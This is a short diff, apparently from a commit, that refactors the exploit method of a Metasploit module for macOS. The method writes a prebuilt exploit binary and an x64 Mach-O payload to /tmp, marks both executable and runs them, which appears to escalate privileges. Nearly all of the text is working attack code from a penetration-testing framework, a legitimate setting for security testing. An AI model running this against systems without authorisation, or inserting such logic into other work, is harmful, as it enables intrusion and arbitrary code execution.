@@ -61,23 +61,23 @@ def check
61
61
62
62
def exploit
63
63
osx_path = File . join ( Msf ::Config . install_root , 'data' , 'exploits' , 'osx' )
64
- exploit = File . read ( File . join ( osx_path , 'key_exploit.bin' ) )
65
- pload = Msf ::Util ::EXE . to_osx_x64_macho ( framework , payload . encoded )
66
- tmpfile = "/tmp/#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
67
- payloadfile = "/tmp/#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
64
+ binary_exploit = File . read ( File . join ( osx_path , 'key_exploit.bin' ) )
65
+ binary_payload = Msf ::Util ::EXE . to_osx_x64_macho ( framework , payload . encoded )
66
+ exploit_file = "/tmp/#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
67
+ payload_file = "/tmp/#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
68
68
69
- print_status "Writing temp file as '#{ tmpfile } '"
70
- write_file ( tmpfile , exploit )
71
- register_file_for_cleanup ( tmpfile )
69
+ print_status ( "Writing exploit file as '#{ exploit_file } '" )
70
+ write_file ( exploit_file , binary_exploit )
71
+ register_file_for_cleanup ( exploit_file )
72
72
73
- print_status "Writing payload file as '#{ payloadfile } '"
74
- write_file ( payloadfile , pload )
75
- register_file_for_cleanup ( payloadfile )
73
+ print_status ( "Writing payload file as '#{ payload_file } '" )
74
+ write_file ( payload_file , binary_payload )
75
+ register_file_for_cleanup ( payload_file )
76
76
77
- print_status "Executing payload..."
78
- cmd_exec ( "chmod +x #{ tmpfile } " )
79
- cmd_exec ( "chmod +x #{ payloadfile } " )
80
- cmd_exec ( "#{ tmpfile } #{ payloadfile } " )
77
+ print_status ( "Executing payload..." )
78
+ cmd_exec ( "chmod +x #{ exploit_file } " )
79
+ cmd_exec ( "chmod +x #{ payload_file } " )
80
+ cmd_exec ( "#{ exploit_file } #{ payload_file } " )
81
81
end
82
82
83
83
def osx_ver
0 commit comments